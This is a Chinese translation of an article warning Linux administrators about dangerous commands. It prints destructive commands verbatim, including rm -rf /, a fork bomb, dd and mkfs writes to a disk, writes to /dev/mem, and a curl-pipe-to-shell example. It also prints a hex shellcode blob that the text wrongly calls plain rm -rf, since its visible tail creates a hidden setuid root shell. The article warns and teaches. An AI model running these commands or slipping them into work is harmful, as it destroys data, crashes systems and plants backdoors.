作者 | Steven Vaughan-nichols
譯者 | CYLeft
當然,除非你想幹掉你的機器。
蜘蛛俠有這樣的一句信條,“權力越大,責任越大。” 對於 Linux 系統管理員們來說,這也是一種應當採用的明智態度。
不,真的,真心感謝 DevOps 的溝通協作和雲編排技術,讓一個 Linux 管理員不僅能掌控一臺伺服器,甚者能控製成千上萬臺伺服器實體。只需要一個愚蠢的舉動,你甚至可以毀掉一個價值數十億美元的企業,就像 沒有打補丁的 Apache Struts[1] 一樣。
如果不能跑在安全補丁之前,這將會帶來一個遠超過系統管理員工資水平的戰略性業務問題。這裡就有一些足以搞死 Linux 伺服器的簡單方式掌握在系統管理員手中。很容易想象到,只有新手才會犯這些錯誤,但是,我們需要瞭解的更多。
下列是一些著名的命令,任何擁有 root 許可權的使用者都能借助它們對伺服器造成嚴重破壞。
警告:千萬不要在生產環境執行這些命令,它們會危害你的系統。不要在家裡嘗試,也不要在辦公室裡測試。
那麼,繼續!
rm -rf /
想要乾脆利落的毀掉一個 Linux 系統嗎?你無法超越這個被譽為“史上最糟糕”的經典,它能刪除一切,我說的是,能刪除所有存在你係統裡的內容!
和大多數 Linux 命令[2]一樣,rm
這個核心命令使用起來非常方便。即便是最頑固的檔案它也能幫你刪除。結合起後面兩個引數理解 rm
指令時,你很容易陷入大麻煩:-r
,強制遞迴刪除所有子目錄,-f
,無需確認,強制刪除所有隻讀檔案。如果你在根目錄執行這條指令,將清除整個驅動器上的所有資料。
如果你真這麼幹了,想想該怎麼和老闆解釋吧!
現在,也許你會想,“我永遠不會犯這麼愚蠢的錯誤。”朋友,驕兵必敗。吸取一下經驗教訓吧, 這個警示故事來自於一個系統管理員在 Reddit 上的帖子[3]:
我在 IT 界工作了很多年,但是今天,作為 Linux 系統 root 使用者,我在錯誤的系統路徑運行了
rm- f
長話短說,那天,我需要複製一大堆目錄從一個目錄到另一個目錄,和你一樣,我敲了幾個
cp -R
去複製我需要的內容。以我的聰明勁,我持續敲著上箭頭,在命令記錄中尋找可以複製使用的類似命令名,但是它們混雜在一大堆其他命令當中。
不管怎麼說,我一邊在 Skype、Slack 和 WhatsApp 的網頁上打字,一邊又和 Sage 通電話,註意力嚴重分散,我在敲入
rm -R ./videodir/* ../companyvideodirwith651vidsin/
這樣一條命令時神遊物外。
然後,當檔案化為烏有時其中也包括了公司的影片。幸運的是,在瘋狂敲擊 control -C
後,在刪除太多檔案之前,系統管理員中止了這條命令。但這是對你的警告:任何人都可能犯這樣的錯誤。
事實上,絕大部分現代作業系統都會在你犯這些錯誤之前,用一段醒目的文字警告你。然而,如果你在連續敲擊鍵盤時忙碌或是分心,你將會把你的系統鍵入一個黑洞。(LCTT 譯註:幸運的是,可能在根目錄下刪除整個檔案系統的人太多了額,後來 rm
預設禁止刪除根目錄,除非——你手動加上 --no-preserve-root
引數!)
這裡有一些更為隱蔽的方式呼叫 rm -rf
。思考一下下麵的程式碼:
char esp[] __attribute__ ((section(“.text”))) = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
這是什麼?這是 16 進位制的 rm -rf
寫法。在你不明確這段程式碼之前,請千萬不要執行這條命令!
fork 炸彈
既然我們討論的都是些奇怪的程式碼,不妨思考一下這一行:
:(){ :|: & };:
對你來說,這可能看起來有些神秘,但是我看來,它就是那個臭名昭著的 Bash fork 炸彈[4]。它會反覆啟動新的 Bash shell,直到你的系統資源消耗殆盡、系統崩潰。
不應該在最新的 Linux 系統上做這些操作。註意,我說的是不應該。我沒有說不能。正確設定使用者許可權,Linux 系統能夠阻止這些破壞性行為。通常使用者僅限於分配使用機器可用記憶體。但是如果作為 root 使用者的你運行了這行命令(或者它的變體 Bash fork 炸彈變體[5]),你仍然可以反覆虐待伺服器,直到系統重啟了。
垃圾資料重寫硬碟
有時候你想徹底清除硬碟的資料,你應該使用 Darik’s Boot and Nuke (DBAN)[6] 工具去完成這項工作。
但是如果僅僅想讓你的儲存器亂套,那很簡單:
任意命令 > /dev/hda
我說的“任意命令”,是指有輸出的任意命令,比如:
ls -la > /dev/hda
……將目錄串列透過管道送到你的主儲存裝置。給我 root 許可權和足夠的時間,就能改寫整個硬碟裝置。這是讓你開始盲目恐慌的一天的好辦法,或者,可以把它變成 職業禁入方式[7]。
擦除硬碟!
另一個一直受歡迎的擦除硬碟的方式是執行:
dd if=/dev/zero of=/dev/hda
你可以用這條命令寫入資料到你的硬碟裝置。dd
命令可以從特殊檔案中獲取無盡個 0
字元,並且將它全部寫入你的裝置。
可能現在聽起來 /dev/zero
是個愚蠢的想法,但是它真的管用。比如說,你可以使用它來 用零清除未使用的分割槽空間[8]。它能使分割槽的映象壓縮到更小,以便於資料傳輸或是存檔使用。
在另一方面,它和 dd if=/dev/random of=/dev/hda
相近,除了能毀掉你的一天之外,不是一個好事。如果你運行了這個指令(千萬不要),你的儲存器會被隨機資料改寫。作為一個隱藏你要接管辦公室咖啡機的秘密計劃的半吊子方法,倒是不錯,但是你可以使用 DBAN 工具去更好的完成你的任務。
/dev/null 的損失
也許因為資料珍貴,我們對備份的資料沒有什麼信心,確實很多“永遠不要這樣做!”的命令都會導致硬碟或其它儲存倉庫的資料被擦除。一個鮮明的實體:另一個毀滅你的儲存裝置的方式,執行 mv / /dev/null
或者 >mv /dev/null
。
在前一種情況下,你作為 root 使用者,把整個磁碟資料都送進這個如飢似渴的 /dev/null
。在後者,你僅僅把家目錄喂給這個空空如也的倉庫。任何一種情況下,除非還原備份,你再也不會再看見你的資料了。
見鬼,難道會計真的不需要最新的應收賬款檔案了嗎?
格式化錯了驅動器
有時候你需要使用這一條命令格式化驅動器:
mkfs.ext3 /dev/hda
……它會用 ext3 檔案系統格式化主硬碟驅動器。別,請等一下!你正在格式化你的主驅動器!難道你不需要用它?
當你要格式化驅動器的時候,請務必加倍確認你正在格式化的分割槽是真的需要格式化的那塊而不是你正在使用的那塊,無論它們是 SSD、快閃記憶體盤還是其他氧化鐵磁碟。
核心崩潰
一些 Linux 命令不能讓你的機器長時間停機。然而,一些命令卻可以導致核心崩潰。這些錯誤通常是由硬體問題引起的,但你也可以自己搞崩。
當你遭遇核心崩潰,重新啟動系統你才可以恢復工作。在一些情況下,這隻是有點小煩;在另一些情況下,這是一個大問題,比如說,高負荷運作下的生產環境。下麵有一個案例:
dd if=/dev/random of=/dev/port
echo 1 > /proc/sys/kernel/panic
cat /dev/port
cat /dev/zero > /dev/mem
這些都會導致核心崩潰。
絕不要執行你並不瞭解它功能的命令,它們都在提醒我…
提防未知指令碼
年輕或是懶惰的系統管理員喜歡複製別人的指令碼。何必重新重覆造輪子?所以,他們找到了一個很酷的指令碼,承諾會自動檢查所有備份。他們就這樣執行它:
wget https://ImSureThisIsASafe/GreatScript.sh -O- | sh
這會下載該指令碼,並將它送到 shell 上執行。很明確,別大驚小怪,對吧?不對。這個指令碼也許已經被惡意軟體感染。當然,一般來說 Linux 比大多數作業系統都要安全,但是如果你以 root 使用者執行未知程式碼,什麼都可能會發生。這種危害不僅在惡意軟體上,指令碼作者的愚蠢本身同樣有害。你甚至可能會因為一個未除錯的程式碼吃上一塹——由於你沒有花時間去讀它。
你認為你不會幹那樣的事?告訴我,所有那些 你在 Docker 裡面執行的容器映象在乾什麼[9]?你知道它們到底在執行著什麼嗎?我見過太多的沒有驗證容器裡面裝著什麼就執行它們的系統管理員。請不要和他們一樣。
結束
這些故事背後的道理很簡單。在你的 Linux 系統裡,你有巨大的控制權。你幾乎可以讓你的伺服器做任何事。但是在你使用你的許可權的同時,請務必做認真的確認。如果你沒有,你毀滅的不只是你的伺服器,而是你的工作甚至是你的公司。像蜘蛛俠一樣,負責任的使用你的許可權。
我有沒有遺漏什麼?在 @sjvn[10] 或 @enterprisenxt[11] 上告訴我哪些 Linux 命令在你的“絕不要執行![12]”的清單上。
via: https://www.hpe.com/us/en/insights/articles/the-linux-commands-you-should-never-use-1712.html
作者:Steven Vaughan-Nichols[14] 譯者:CYLeft 校對:wxy
本文由 LCTT 原創編譯,Linux中國 榮譽推出